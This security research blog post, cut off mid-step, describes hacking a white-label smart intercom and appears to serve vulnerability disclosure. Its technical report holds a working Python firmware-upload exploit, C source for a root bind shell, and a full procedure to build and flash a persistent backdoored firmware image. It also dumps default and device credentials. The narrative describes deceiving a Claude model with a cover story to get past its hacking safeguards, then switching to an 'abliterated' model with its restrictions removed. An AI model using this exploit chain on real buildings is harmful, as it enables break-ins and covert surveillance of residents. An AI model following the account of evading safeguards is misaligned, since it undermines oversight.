- Date
- Ref
- SCS-261112-CGX
- Length
- 22 min read
- Tags
The Walls are Watching - Hacking Intercom Systems
'sneaky-cyber' digs into intercoms, assessing the security of this modern convenience
The first part of this write-up is a hand-written account of my investigation, with attempts to minimise technical jargon. A (mostly AI authored) procedural breakdown is included afterward for the technically inclined, including proof-of-concept exploit code.
My first encounter
I had just moved into a recently built flat and was getting acquainted with all the mod cons included, having not lived in such a place previously. One of those was the intercom system; a touch screen smart device allowing for video calling, two way speaking, and control of the building’s locks / lift access. Being a cyber professional, my mind immediately went to how such a system could be abused - but surely there would be decent security controls to make such attacks prohibitively labour intensive?
Brief research on the brand had limited results. On further analysis, I found that these intercom/security systems are often made by a white label manufacturer in China, and then go through (sometimes a series of) resellers that slap their brands on them, as was the case on this occasion.
A quick look at the device showed it at least had basic access control - there did not appear to be easy access via a network port with a default password, which happens occasionally with smart devices. What was a little alarming is that the network it was connected to over ethernet had direct internet access. Presumably, if not just an oversight, this connectivity was so the devices could receive software updates as needed.
For some people, a smart device in their home getting updates from a server in China would be enough to want out, but for most this is a non-issue. The real test would be to see if access could be established through completely un-official channels.
Unfortunately, in order to test this, I would have to shell out to purchase my own intercom system to do some more rigorous analysis. Bringing down the entire complex’s intercom system or accidentally remote controlling someone else’s indoor unit during the required experimentation might be considered un-neighbourly (and illegal).
I bought a full system (2 indoor units, door unit, and controller switch) direct from the white label manufacturer for a bargain. I can only assume they thought I was working for a real estate tycoon, sampling the quality of their product before I put in an order for 100,000 units.
Lets get hacking
Now that I had free reign over my very own intercom system, I could dig deeper in my research.
After some fiddling and purchasing a specialised adaptor used to speak to the indoor unit’s circuit board ‘debugging’ ports, I was able to gain direct control over the device. While this itself represents a vulnerability, it is relatively insignificant as it requires physical access to the circuit board of the unit in question.
Using this access, I was able to extract the full firmware of the device, which would allow me to truly understand how the intercom works and how it could be abused.
Analysing firmware in this way requires a process known as ‘reverse engineering’ - because you do not have access to the original human readable code written by the programmers, you have to infer what the program does from the language the computer itself speaks. It was long considered one of the most difficult fields of cyber security due to the deep understanding required of how computers operate at the lowest level. But, thanks first to a tool produced and released by the NSA (known as Ghidra), and now AI’s ability to operate such tools, the number of people who can do it increases by the day.
I used AI to assist me with this difficult part of the process. Initially I used Claude’s Opus 4.8 model, lying to it with some cockamamie story about being a developer trying to fix their intercom deployment in order to avoid its hacking guardrails. It was extremely effective until it cottoned on to what it was actually being asked to do, at which point I switched to a slightly less intelligent ‘abliterated’ AI model, lobotomised to remove its offensive cyber restrictions.
What’s yours is mine
There are varying levels of control over a target system that exploiting vulnerabilities can provide. The less severe types allow for limited access - carrying out certain specific actions within the context of a specific user or application. Sometimes there is an ability to perform ‘denial of service’ - degrading a system’s ability to provide either certain, or any, services. The highest form of exploit serves the attacker full, unrestricted ‘remote code execution’ as root (the system’s most privileged user). This allows you to do absolutely anything the system’s hardware is capable of, from any network that has ‘visibility’ of the device.
I made it clear to my eager AI assistant that remote code execution was what I wanted. It guided me through the reconstructed logic of the firmware until it honed in on the system’s update service, theorising that we might be able to pose as the manufacturer and provide an ‘update’ that inserted the arbitrary malicious code alongside the normal firmware package. The updating function should be protected by a cryptographic handshake that validates the update server is legitimate, and the update itself is authentic - but that mechanism was missing.
Leveraging this required a little more reverse engineering as the update handover was done using a proprietary protocol, but after that I was good to go. From my own computer, I could connect to one of the intercom devices over the network, tell it I was the manufacturer, and serve it the malicious update.
The exploit executed successfully, and I had complete control of the intercom system from my laptop on the network.
Implications
With full control over the system, the threat actor is limited only by the hardware setup in the target building complex.
Possible system abuse pathways:
- Allow building access as needed
- Silently bug a specific unit using the inbuilt microphone
- Watch through the camera system if included
More complex abuse possibilities:
- Bug all units, feeding recorded voice data through AI to automatically identify potential targets of interest, establish their pattern of life, and highlight interesting topics of conversation
- If a Wi-Fi card is included (as was the case in my tested system), monitor devices coming into and out of the area, or use the system as launch point to compromise resident’s personal networks and devices
In systems that are not internet connected, the adversary would need initial access to any room in the building complex containing an intercom, but after setup, control of the entire complex could be operated remotely. This initial access would be easy in the case of hotels / dual use setups - just book a night in a room and you’re good to go. In purely residential complexes, a threat actor could look for an Airbnb in the building, or establish access during a repair job.
For internet connected systems, depending on the security controls of the connection (which in many cases would be minimal), the exploitation could be initiated from anywhere in the world.
Conclusion
The fact that this attack is possible will probably not come as a surprise to security professionals, but the increasing ease of exploitation thanks to AI is something we should all be aware of. If AI development continues on its current trajectory, leveraging the computerised systems throughout our modern world will soon be an option not just to the traditional adversary, but disgruntled ex-partners and curious kids with only basic technical skills.
If you are someone who might be of interest to such a party, consider disconnecting your intercom and other smart home devices to maintain your safety and privacy.
If you manufacture or install such systems, use AI defensively to enhance the security controls available.
I hope you found this report informative. If you have any questions or comments, please reach out via the email in the website’s contact page
TECHNICAL REPORT
1. Executive Summary
The SKY-IP-M72T-TUYA is an Android-style indoor intercom unit built on a “dpchip”/nx5 ARM platform (Digital Power Inc), running Linux 4.9.138 with a custom application stack, Tuya cloud integration, and 16 MB of SPI NOR flash. It is installed in-wall and performs physical-access-control functions (door unlock, lock codes, alarm/duress codes).
An assessment of the firmware identified nine vulnerabilities, detailed in §4. The two most severe combine into a complete remote compromise chain:
- V1 — Unauthenticated firmware-update service. A background daemon (
/etc/upgrade, internally “PCServer”) listens on TCP port 34920 on all interfaces. Its only gate is a fixed, well-known header value in the request. No credentials, session, or handshake are required. - V2 — No firmware signature or integrity check. The on-device flash routine validates only that the uploaded file is not larger than the target partition. Any bytes within that limit are written to the SYSTEM flash partition and booted.
Together these give any device that can reach TCP 34920 the ability to replace the unit’s main application partition with attacker-controlled software and reboot into it — persistent, unauthenticated, remote code execution on a physical-access-control device.
This was demonstrated in stages on owner hardware:
- The update protocol was fully reverse-engineered from the daemon binary and confirmed against a live unit.
- A complete, unauthenticated firmware re-flash over Ethernet was performed on the test unit, with the full success sequence captured in serial-console logs (see §10).
- A firmware image containing a small bind-shell payload was designed; the remaining work (compile, embed, rehearse, and run against the sealed unit) is specified step-by-step in §11–§12.
Other findings include non-atomic flash updates that can permanently brick units, hardcoded FTP credentials in the image, cleartext storage of every credential on the device (including the WiFi key, Tuya cloud key, lock/alarm/duress codes, and IP-camera credentials), a cleartext and apparently unauthenticated XML control protocol between intercom devices, weak factory-default passwords, weak WiFi access-point defaults, and an unauthenticated root shell on the serial console.
The primary mitigation available to operators today is network segmentation: the units must not be reachable from occupant/guest networks or the internet.
2. Product and Test Environment
2.1 Device under test
| Item | Detail |
|---|---|
| Product | Indoor intercom client, NX1S-7012I-DIFF-V2 / M72T (“SKY-IP-M72T-TUYA”, Shenzhen Skynex Tech) |
| SoC / board | “dpchip” / nx5 (Digital Power Inc), ARMv7 Cortex-A7 class, dual core |
| RAM | 128 MB total (96 MB OS, 32 MB media reserve) |
| Flash | 16 MB SPI NOR (Winbond 25q128 class) |
| WiFi | Realtek RTL8188EU |
| Ethernet | 10/100 |
| Kernel | Linux 4.9.138 SMP, built 2024-05-08 |
| Application | “Vesion 1.0.9, May 27 2025” banner at boot; DevType R7CSD; SoftVer 20250527 |
| Cloud | Tuya IoT SDK 4.1.1 (LAN 3.3), IPC SDK 4.8.9; TuyaPID obtloc9hkl46jjgg |
2.2 Bench setup
- Linux PC (Ubuntu) with:
- USB-to-UART adapter (Waveshare, 3.3 V logic), device appears as
/dev/ttyACM0 - Terminal software:
picocom/tio tftpd-hpaserver for firmware exfiltrationsquashfs-tools,jefferson(viapipx),binwalk,sqlite3,nmap,nc, Wireshark- Ghidra (ARM:LE:32:v8:default language) for analysis of the update daemon
qemu-user-staticto run the ARM daemon and payload binaries on the x86 PC- Isolated bench network: USB ethernet interface on the PC (
enxa029199eac23) at192.168.50.1/24; device at192.168.50.49(set manually each boot — see §2.3). NetworkManager was told to leave the interface unmanaged (nmcli device set enxa029199eac23 managed no). - The device’s stored network identity is
192.168.1.49 / 255.255.128.0, gateway 192.168.0.1(from its config database). The device’s serial console is 115200 8N1.
2.3 Known quirks that cost time
resetis stubbed in this U-Boot build (“fake resetting”) — use a physical power cycle when a hard reset is needed.- The device IP set with runtime
ifconfigdoes not survive a reboot; it reverts to the stored192.168.1.49after every flash/reboot cycle. Every bench session needed a UART-side re-address. - In this U-Boot,
tftpgetdownloads from the server (there is notftpput). To exfiltrate flash contents, boot Linux and use the BusyBoxtftp -pclient instead. To restore an image,tftpgetis the correct direction (server → RAM). - The stock
ncis not present on the device (/bin/sh: nc: not found), buttftpis. - The QEMU run of the update daemon prints
SetIPAddress ... SIOCSIFADDR error: Operation not permitted— expected (no root/atomic netlink ops), harmless; the listener still starts.
3. Method (in the order it was performed)
3.1 Hardware access (test unit)
- UART header (TX/RX/GND near the RJ45) connected to the adapter at 3.3 V, crossed TX↔RX, GND↔GND, no VCC. 115200 8N1.
- Settings obtained; permissions via
sudo usermod -aG dialout $USER(re-login ornewgrp dialout). - The device init configuration (
inittab) containsttyS0::respawn:login -f root— the serial console auto-logs in as root with no password (finding V9). - U-Boot interrupt (autoboot delay exists — “Hit any key to stop autoboot: 2 1 0”) gives the bootloader console.
3.2 Firmware extraction
- From U-Boot:
sf probe 0(silent but works),sf read 0x42000000 0x0 0x1000000to pull all 16 MB into RAM,mdto sanity-check (DTB magicedfe0dd0at the expected location). - From running Linux (serial root shell): each MTD partition pushed to
tftpd-hpaon the PC with the BusyBoxtftpclient:
# pre-create targets on the PC: touch /srv/tftp/mtdN.bin; chmod 666
tftp -p -l /dev/mtd4 -r mtd4.bin 192.168.50.1
tftp -p -l /dev/mtd5 -r mtd5.bin 192.168.50.1
tftp -p -l /dev/mtd6 -r mtd6.bin 192.168.50.1
- Unpacking on PC:
unsquashfsfor mtd4 (ROOTFS) and mtd5 (SYSTEM),jeffersonfor mtd6 (DATA, jffs2). (pipx install jeffersonavoids theexternally-managed-environmenterror on modern Ubuntu.)
Flash partition map (kernel log, 7 ofpart partitions):
| # | Name | Offset | Size | Content |
|---|---|---|---|---|
| mtd0 | SPL_UBOOT | 0x000000 | 0x050000 | bootloader |
| mtd1 | LOGO | 0x050000 | 0x020000 | boot logo |
| mtd2 | DTB | 0x070000 | 0x010000 | device tree |
| mtd3 | KENREL | 0x080000 | 0x280000 | zImage |
| mtd4 | ROOTFS | 0x300000 | 0x300000 | squashfs/xz, base FS (contains /etc/upgrade) |
| mtd5 | SYSTEM | 0x600000 | 0x800000 | squashfs/xz, main application (/system) |
| mtd6 | DATA | 0xE00000 | 0x200000 | jffs2, runtime config/SQLite databases |
Both squashfs images are xz, block size 131072 — these parameters must be matched when repacking.
3.3 Static analysis
- Configuration files and SQLite databases inspected directly (
sqlite3 <file> .dump). - The
/etc/upgradebinary (ARM ELF, ~23 KB, stripped, dynamically linked) imported into Ghidra with languageARM:LE:32:v8:default, format ELF. Import warnings (unresolved libc/libpthread symbols, oneR_ARM_COPY) are benign. - Decompile of the full binary exported via File → Export Program… → C/C++; the key functions were identified and reconstructed (see §6).
3.4 Runtime analysis
- Listener enumeration from
/proc/net/tcpplus inode→PID mapping through/proc/<pid>/fd:
| Port | Owner | Role |
|---|---|---|
| 6668 | app0 | Tuya LAN v3.3 |
| 34918 / 34945 / 34952 | app0 | application services (XML sync / PC tool / monitor) |
| 34920 | upgrade (the /etc/upgrade daemon) | network update agent — see §6 |
- Inter-device traffic observed with
tcpdump/Wireshark on the bench host. - Reachability of 34920 confirmed with
nmap -Pnandnc(note: ping alone can succeed while TCP fails if return-path routing is asymmetric — a clean isolated subnet fixed that; see §2.2). - The daemon was also run on the x86 PC under
qemu-arm-static -L <extracted-rootfs>as a safe protocol sandbox (no/dev/mtd5on the PC, so nothing can flash).
4. Findings
Provisional CVSS 3.1 (reporter assessment; may be revised by the assigning CNA).
V1 — Unauthenticated network firmware-update service (CWE-306) — CVSS 9.8
/etc/upgrade (“PCServer”) runs at boot from the SYSTEM partition’s run.sh and listens on TCP 34920 on all interfaces. The protocol is gated only by a fixed, cleartext header value ("X1H", sent UTF-16 encoded — see §6). No authentication, key exchange, session, or authorization check precedes command processing. Supported commands include a ping and a firmware upload that stages a file to /tmp/update_system.fex, flashes the SYSTEM partition (mtd5), and reboots.
V2 — No firmware signature or integrity verification (CWE-347) — CVSS 8.8
The flash routine (NX5_updata_part) checks only that the file is not larger than the partition. No signature, hash, checksum, or magic validation. Bytes are written directly to mtd5 and booted. Combined with V1 this is unauthenticated remote code execution.
V3 — Non-atomic flash update can permanently brick the unit (CWE-665) — CVSS 7.1
The flasher erases and writes flash blocks in an interleaved loop while streaming from a file; the network receiver leaves a truncated file on disk if a transfer ends early. There is no full-image staging check before erase begins, no A/B partition scheme, no rollback or recovery image. An interrupted or truncated update can leave SYSTEM partially erased and the unit unbootable (in-wall recovery requires physical disassembly).
V4 — Hardcoded FTP credentials with full-filesystem access (CWE-798) — CVSS 8.8 when enabled
The SYSTEM image ships stupid-ftpd with accounts root/dp123456 (mapped to server root / with full permissions, “virtual” chroot that does not truly confine a root user) and user/123456 (mapped to /data). Identical across factory-default units. On the tested unit the daemon was not started by default (port 21 closed); boot scripts contain a commented-out invocation. Vendor should confirm no configuration/code path enables it.
V5 — Cleartext storage of sensitive credentials (CWE-312) — CVSS 6.5
The SQLite config database (/data/room.db) stores in cleartext: the WiFi SSID and PSK; the Tuya device UUID and per-device local key; all system/lock/user/duress passwords (defaults: project/admin 666666, safe 123456, user 123456, hostage/duress 654321); and IP-camera credentials (IPCAM table). Readable by anyone with filesystem access (via V1/V2, V4 if enabled, or V9).
V6 — Cleartext, apparently unauthenticated inter-device control protocol (CWE-319) — CVSS 7.4
The proprietary XML-over-TCP protocol used between indoor units, door stations, and management communicates in cleartext, including door-unlock messages, lock/system password changes, and device registration. Human-readable on the wire (e.g. <msg><type>%d</type><id>%s</id><lockpwd>%s</lockpwd><systempwd>%s</systempwd></msg>). Passive capture on the segment exposes lock and system codes; active injection/replay of unlock messages depends on server-side validation.
V7 — Predictable default credentials for security functions (CWE-1392) — CVSS 6.5
Factory default seeds ProjetPwd 666666, SafePwd 123456, UserPwd 123456, HostagePwd 654321, identical across units.
V8 — Weak WiFi AP defaults (CWE-1188/CWE-326) — CVSS 6.5
Provisioning-mode hostapd uses WPA1 (deprecated), 802.11b, SSID pattern X5_123456, fixed passphrase 87654321, shared across units.
V9 — Unauthenticated root shell on serial console (CWE-1274) — CVSS 6.8
inittab runs ttyS0::respawn:login -f root; bootloader autoboots without protection. Physical UART access yields a root shell with no password.
Chaining
V1+V2 → unauthenticated persistent RCE. RCE (or V4 enabled, or V9) → filesystem access → V5 (all secrets: lock codes, cloud key, camera creds). V6 independently exposes lock/system credentials on the wire. V3 allows destructive remotely-triggered outages across a fleet.
5. Config and credential artifacts found in the image
From mtd6 (/data, jffs2), room.db → SYSTEMSET (test unit values shown; per-device fields vary):
TermId 1010101010102
ProjetPwd 666666 | SafePwd 123456 | HostagePwd 654321 | UserPwd 123456
Ip 192.168.1.49 | Mask 255.255.128.0 | GateWay 192.168.0.1
WifiSsid FARHD | WifiPsk 609609609 | WifiSecurity 2
tuyauuid js1168d30f3a3ec59630 (per-unit)
tuyakeyqlvODCMnitwEdiwvYcHBASpehqKG8hwT(per-unit local key)
From the SYSTEM partition (mtd5):
/system/run.sh— app launcher; starts/etc/upgrade &, wpa_supplicant,app0. (Full text in §11.)/system/hostapd.conf—ssid=X5_123456,hw_mode=b,wpa=1,wpa_passphrase=87654321./system/stupid-ftpd.conf— the hardcoded FTP accounts (V4)./system/config.json—"SoftVer": "20250527","DevType": "R7CSD","TuyaPID": "obtloc9hkl46jjgg".- Libraries: Tuya stack, libcurl, libcjson, libsqlite3, libxml2, libwpa_client, plus app libs.
Interesting reported runtime behavior of the update daemon: at boot it first attempts to set its own interface to a compiled-in default 192.168.255.222/255.255.255.0, gw 192.168.255.1 (seen as SetIPAddress in logs), then starts the listener. The application later re-applies the stored config (SetIPAddress 192.168.1.49 255.255.128.0 192.168.0.1).
6. The update daemon (“PCServer”) — reverse-engineered protocol
The binary is a stripped ARM ELF, 32-bit little-endian, ~23 KB, dynamically linked (/lib/ld-linux.so.3), BuildID 64cfb8955302095aa0ec26a25139c38ad0a05c24. Key functions (Ghidra names from the export; real names recovered from log macros):
| Function | Name (from log lines) | Role |
|---|---|---|
FUN_000140fc | PCThread | accept loop + command dispatch |
FUN_00013f7c | (upload handler) | receives file, sends status, calls flasher |
FUN_00013a10 | DownLoadFile | streams file to /tmp/update_system.fex in 64 KB chunks |
FUN_00013b2c | NX5_updata_part | flashes /dev/mtd5 |
FUN_00012820/FUN_000129c8 | Socket_TcpSendData / Socket_TcpRecvData | send/receive with timeouts |
FUN_00013fe8 | (utf16→utf8) | converts the header field |
FUN_000142e0 | SetIPAddress | interface reconfiguration |
6.1 Wire format (reverse-engineered and verified on live hardware)
The listener accepts one TCP connection at a time; each connection handles one command, then the daemon closes the socket and returns to accept.
Command frame — exactly 72 bytes, must be received within ~1 second of connect:
| Offset | Size | Meaning |
|---|---|---|
| 0x00–0x3F | 64 | Header as UTF-16LE text, NUL-terminated: bytes 58 00 31 00 48 00 00 00 (i.e. “X1H” + terminator), remainder zero |
| 0x40 | 4 | Command type, little-endian dword |
| 0x44 | 4 | File length, little-endian dword |
The daemon converts the first 64 bytes from UTF-16 to UTF-8 and strcmps against "X1H". Mismatch → sends back 4-byte 0 and logs recev head is not match.
Commands:
0x10000000— ping/handshake. Daemon replies a 4-byte little-endian1.0x10000004— firmware upload. Daemon receives exactly the declared number of bytes (64 KB chunks, each must complete within a 2-second window), writes to/tmp/update_system.fex, sends back a 4-byte little-endian status (1= download complete), then flashes mtd5 and reboots.
Behavior notes (from the decompilation, confirmed on hardware):
- If the download fails to receive the declared length, the daemon reboots the device anyway (without flashing).
- The flasher validates only
file length ≤ partition size(Update file : %s is too big). It erases one 64 KB block, reads from the file, writes the block, repeats across the whole partition, 0xFF-padding the tail. On success:update ok, then a literal marker string=============2222222222222, thensystem("reboot"). - The daemon normally also offers IP reconfiguration and time-set commands (function names present), though only ping/upload were confirmed live.
6.2 Log signature of a successful remote flash (captured on hardware)
[Version:123444 ...] <INFO @ upgrade.c (PCThread:1743)> Recv PC Msg from 192.168.50.1 port:0x8868 type:10000004 len:8388608
[...128 lines:] <INFO @ upgrade.c (DownLoadFile:1438)> DownLoadFile /tmp/update_system.fex 8388608 <offset>
=================readly upgrasde
<INFO @ upgrade.c (NX5_updata_part:1503)> MTD Type: 3
MTD total size: 800000 bytes<-- hex, = 8 MB
MTD erase size: 10000 bytes<-- hex, = 64 KB
<INFO @ upgrade.c (NX5_updata_part:1522)> Updata file len 8388608
[...100 lines:] <INFO @ upgrade.c (NX5_updata_part:1568)> totallen <n> Writelen <n> leftlen 8388608 <N>%
<INFO @ upgrade.c (NX5_updata_part:1591)> update ok
=============2222222222222
Followed by a clean shutdown and reboot. Full elapsed time from command to update ok: approximately 35 seconds for an 8 MB image (the full partition is always erased and rewritten, regardless of image size).
7. Proof-of-concept client
File: m72t_update.py. Usage: python3 m72t_update.py ping <ip> or python3 m72t_update.py upload <ip> <file>.
#!/usr/bin/env python3
import socket, struct, sys, time
PORT = 34920
# "X1H" as UTF-16LE plus 2-byte NUL, padded to 64 bytes
HEADER = (b"X1H".decode().encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")
CMD_PING, CMD_UPLOAD = 0x10000000, 0x10000004
def send_frame(sock, cmd, length, big_endian=False):
fmt = ">II" if big_endian else "<II"
frame = HEADER + struct.pack(fmt, cmd, length)
assert len(frame) == 72
sock.sendall(frame)# must go out within ~1s of connect
def ping(ip, be=False):
s = socket.create_connection((ip, PORT), timeout=5)
send_frame(s, CMD_PING, 0, be)
print("reply:", s.recv(4).hex())
s.close()
def upload(ip, path):
data = open(path, "rb").read()
print(f"[*] uploading {path}: {len(data)} bytes to {ip}:{PORT}")
s = socket.create_connection((ip, PORT), timeout=5)
send_frame(s, CMD_UPLOAD, len(data), False)
s.sendall(data)# send everything; TCP handles flow control
status = s.recv(4)
print("status reply:", status.hex(), "(01 00 00 00 = download OK)")
s.close()
print("[*] device is now flashing; it will reboot itself. DO NOT power-cycle.")
if __name__ == "__main__":
mode = sys.argv[1]
if mode == "ping":
ping(sys.argv[2])# little-endian first
time.sleep(1)
try:
ping(sys.argv[2], be=True) # fallback byte-order test
except Exception as e:
print("big-endian variant failed:", e)
elif mode == "upload":
upload(sys.argv[2], sys.argv[3])
Operational rules (each follows directly from the daemon’s code):
- One command per TCP connection; reconnect for each operation.
- Send the 72-byte frame immediately after connect (1-second window).
- Send the entire image to the exact declared length. A declared-but-unsent length triggers a target reboot without flashing.
- Never power-cycle the target between
readly upgrasdeandupdate ok(approx. 35 s) — that is the brick window (V3).
7.1 PoC payload (root bind-shell)
BusyBox on the device has no telnetd applet, so the payload used is a small static C program. File: pwned.c:
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
int s, c, one = 1;
struct sockaddr_in addr;
if (daemon(0, 0) != 0) {
/* couldn't detach; still try to serve anyway */
}
s = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(2323);
bind(s, (struct sockaddr *)&addr, sizeof(addr));
listen(s, 1);
while (1) {
c = accept(s, NULL, NULL);
if (c < 0) continue;
if (fork() == 0) {/* child serves this client */
close(s);
dup2(c, 0); dup2(c, 1); dup2(c, 2);
execl("/bin/sh", "sh", (char *)NULL);
}
close(c);
}
}
Build (on the PC): arm-linux-gnueabi-gcc -static -O2 -o pwned pwned.c (package gcc-arm-linux-gnueabi). GCC emits a warn_unused_result warning about daemon before the added if wrapper — cosmetic only; the binary is fine. Verify with file pwned — must say “ELF 32-bit LSB executable, ARM, EABI5 … statically linked” (approx. 700 KB; partition has ample room).
Smoke test before embedding: qemu-arm-static ./pwned & then nc 127.0.0.1 2323 → expect a shell; id answers; kill with pkill pwned.
8. How the exploit was developed (chronological log of what was actually run)
- Daemon sandboxed on the PC.
qemu-arm-static -L ~/Documents/M72T/_mtd4.bin.extracted/squashfs-root \
~/Documents/M72T/_mtd4.bin.extracted/squashfs-root/etc/upgrade
- Output:
Start PCServerand listening on 34920. Twonc 127.0.0.1 34920connections sent nothing after connect; the daemon loggedPCThread Recv length fail expect:72 ret:0each time — establishing the frame size (72) and the 1-second expectation before any binary-level confirmation. - Full decompilation exported from Ghidra (C/C++ format) and the protocol reconstructed (§6.1), including the UTF-16 header surprise and both command values.
- Ping validated against QEMU and then the live test unit. Expected reply
01000000. - Upload rehearsed in QEMU with a 200 KB random file (
head -c 200000 /dev/urandom > test.bin): progress lines correct, final flash step failed only at the missing/dev/mtd5on the PC — transfer path proven. - Identity re-flash on live hardware (test unit, UART attached as observer only).
# device, over UART: ifconfig eth0 192.168.50.49 netmask 255.255.255.0
# PC:
python3 m72t_update.py upload 192.168.50.49 ~/m72t/mtd5.bin
- Result: full success sequence in §6.2 captured in
screenlog1.txt; clean reboot; unit functional; banner unchanged. This is the completed proof of unauthenticated remote firmware write. - (Next, per §11: payload compile & QEMU check already designed; implant image build and rehearsals pending.)
9. Commands reference
9.1 On the PC (Linux)
# --- bench network ---
sudo ip addr flush dev enxa029199eac23
sudo nmcli device set enxa029199eac23 managed no
sudo ip addr add 192.168.50.1/24 dev enxa029199eac23
sudo ip link set enxa029199eac23 up
# --- tftpd-hpa (/etc/default/tftpd-hpa) ---
# TFTP_USERNAME="tftp" TFTP_DIRECTORY="/srv/tftp"
# TFTP_ADDRESS="0.0.0.0:69" TFTP_OPTIONS="--secure --create"
sudo systemctl restart tftpd-hpa
# --- extraction / unpacking (PC) ---
unsquashfs -d rootfs mtd4.bin
unsquashfs -d system mtd5.bin
pipx install jefferson && jefferson mtd6.bin -d data
# --- analysis ---
strings -n 4 -t x <path>/etc/upgrade > upgrade_strings.txt
binwalk mtd*.bin
# --- Ghidra project ---
# File -> New Project (Non-Shared) -> Import File (upgrade) ->
# Language: ARM:LE:32:v8:default, Format: ELF -> analyze with defaults.
# Window -> Defined Strings; right-click string -> Show References to Address.
# File -> Export Program... -> Format "C/C++" -> upgrade_decompiled.c
# --- qemu sandbox ---
sudo apt install qemu-user-static
qemu-arm-static -L <extracted-rootfs> <extracted-rootfs>/etc/upgrade
# --- intercom update tooling ---
python3 m72t_update.py ping 192.168.50.49
python3 m72t_update.py upload 192.168.50.49 <image.fex>
# --- serial console (logging) ---
picocom -b 115200 /dev/ttyACM0 --logfile session.log# exit: Ctrl-A Ctrl-X
# --- scanning ---
nmap -Pn -p 34920,34918,34945,34952,6668 192.168.50.49
9.2 On the device (over UART root shell or bind shell)
ifconfig eth0 192.168.50.49 netmask 255.255.255.0 # per-boot bench address
tftp -p -l /dev/mtd5 -r mtd5_x.bin 192.168.50.1 # exfiltrate a partition
tftp -g -r pwned 192.168.50.1 && chmod +x pwned# fetch a file (PC serves via tftpd-hpa)
df /tmp# confirm staging space (open item)
md5sum /dev/mtd5 # flash-content hash check
echo 1 > /proc/sys/kernel/printk# quiet kernel logs
kill -STOP $(pidof app0) # pause noisy app (CONT to resume)
9.3 U-Boot recovery path (if a unit is ever left unbootable)
# PC serves a good mtd5 image via tftpd-hpa at /srv/tftp/mtd5.bin
# Interrupt autoboot (key during "Hit any key to stop autoboot"), then:
tftp ${loadaddr} mtd5.bin# tftpget semantics: server -> RAM (${loadaddr} = 0x42000000 used earlier)
sf probe 0
sf erase 0x600000 0x800000
sf write 0x42000000 0x600000 0x800000
# then power-cycle (reset is stubbed)
10. Evidence log
| Artifact | Meaning |
|---|---|
screenlog1.txt | Full serial capture of the unauthenticated 8 MB identity re-flash over Ethernet: command received, 128 download chunks, readly upgrasde, 0→100% flash, update ok, 2222222222222, clean reboot, normal app banner. Primary PoC artifact. |
upgrade_decompiled.txt | Ghidra C export of the update daemon (protocol source of truth; key functions listed in §6). |
artefact3.txt | QEMU sandbox console output (frame size 72 discovery, Start PCServer). |
Artefact1.txt | file, hash and strings dump of /etc/upgrade. |
mtd4.bin, mtd5.bin, mtd6.bin | Extracted stock partitions. |
m72t_update.py, pwned.c | PoC client and payload (code in §7). |
upgrade_strings.txt | Strings dump with offsets. |
11. Implant firmware image — complete build procedure
The final demonstration images are built from the test unit’s own extracted SYSTEM partition, so they are identical to stock except for one added payload.
11.1 Build
cd ~/m72t
# payload
sudo apt install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -static -O2 -o pwned pwned.c
file pwned# must be: ARM, EABI5, statically linked
qemu-arm-static ./pwned & sleep 1; nc 127.0.0.1 2323; # smoke test (then pkill pwned)
# image
unsquashfs -d system_mod mtd5.bin
sudo cp pwned system_mod/bin/pwned
sudo chmod 755 system_mod/bin/pwned
sudo touch system_mod/.implanted_$(date +%Y%m%d)
Edit system_mod/run.sh to end with one added line (stock content preserved):
#!/bin/sh
printf "Starting system...\n"
/etc/upgrade &
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/system/usrlib
export PATH=$PATH:/system/bin
/system/bin/wpa_supplicant -B -c/system/misc/wifi/wpa_supplicant.conf -i wlan0
/app0 &
printf "System started.\n"
(sleep 30 && /system/bin/pwned) &
(Correct path is /system/app0 & — keep the stock line as found in the image, do not alter any stock line.)
sudo mksquashfs system_mod implant.fex -comp xz -b 131072 -noappend
11.2 Pre-flash checks (all three mandatory)
ls -l implant.fex # must be < 8,388,608 bytes
sudo mount -t squashfs -o loop implant.fex /mnt
cat /mnt/run.sh; ls -l /mnt/bin/pwned /mnt/.implanted_*
sudo umount /mnt
sh -n system_mod/run.sh# syntax check; silence = pass
11.3 Design invariants
- Additive only. Never modify or remove
/etc/upgrade(lives on mtd4/ROOTFS anyway, so it’s out of reach of this flash), never replace the stock update path — after implanting, port 34920 is still the remote recovery channel (a stock re-flash remotely removes the infection). - Payload started in a subshell with
sleep 30and internallydaemon(0,0)— two independent guarantees that payload failure cannot affect boot. - Marker file
.implanted_<date>at the image root provides on-box proof of which image runs, without needing network access. - Backdoor port 2323 chosen to avoid all known listeners (34920, 6668, 34918, 34945, 34952).
11.4 Rehearsal on the test unit (UART attached as observer)
- Set bench IP over UART:
ifconfig eth0 192.168.50.49 netmask 255.255.255.0 - Start logging:
picocom -b 115200 /dev/ttyACM0 --logfile implant_flash.log - Push:
python3 m72t_update.py upload 192.168.50.49 ~/m72t/implant.fex - Expect the §6.2 signature; ~35 s of flash; reboot.
- Re-set IP over UART; wait ~45 s after boot; then from PC:
nc 192.168.50.49 2323and run:
id
ls /system/.implanted_*
grep pwned /system/run.sh
uname -a
- Regression: boot log shows the normal banner and all
Start ...Serverlines; touchscreen responsive; unit functions as an intercom. - Rollback:
python3 m72t_update.py upload 192.168.50.49 ~/m72t/mtd5.bin→ after reboot,nc 192.168.50.49 2323must now be refused (port closed on stock). Capture pcap of both pushes. - While in the UART shell: collect
df /tmp(staging-space documentation — an open item from the original assessment;/tmpholds the staged file during updates and tmpfs size matters for very large images).
11.5 Final demonstration on the sealed unit
Preconditions: rehearsed implant passed all checks above; sealed unit’s About/settings page shows the same software version as the test unit (app 1.0.9 / 2025-05-27 / SoftVer 20250527). If it differs, build the implant against that version’s extracted SYSTEM instead before proceeding.
- Ethernet only; isolated VLAN; assign the unit an IP through its touchscreen settings (installer-normal operation; no case opening, no serial at any point).
- Fingerprint from the PC:
nmap -Pn -p 34920,6668 <ip>— 34920 open. - Wireshark capture + screen recording running.
python3 m72t_update.py upload <sealed_ip> ~/m72t/implant.fex
- After reboot (~1 min):
nc <sealed_ip> 2323→id; uname -a; ls /system/.implanted_*→ screenshot. - Optional cleanup demonstration: re-push
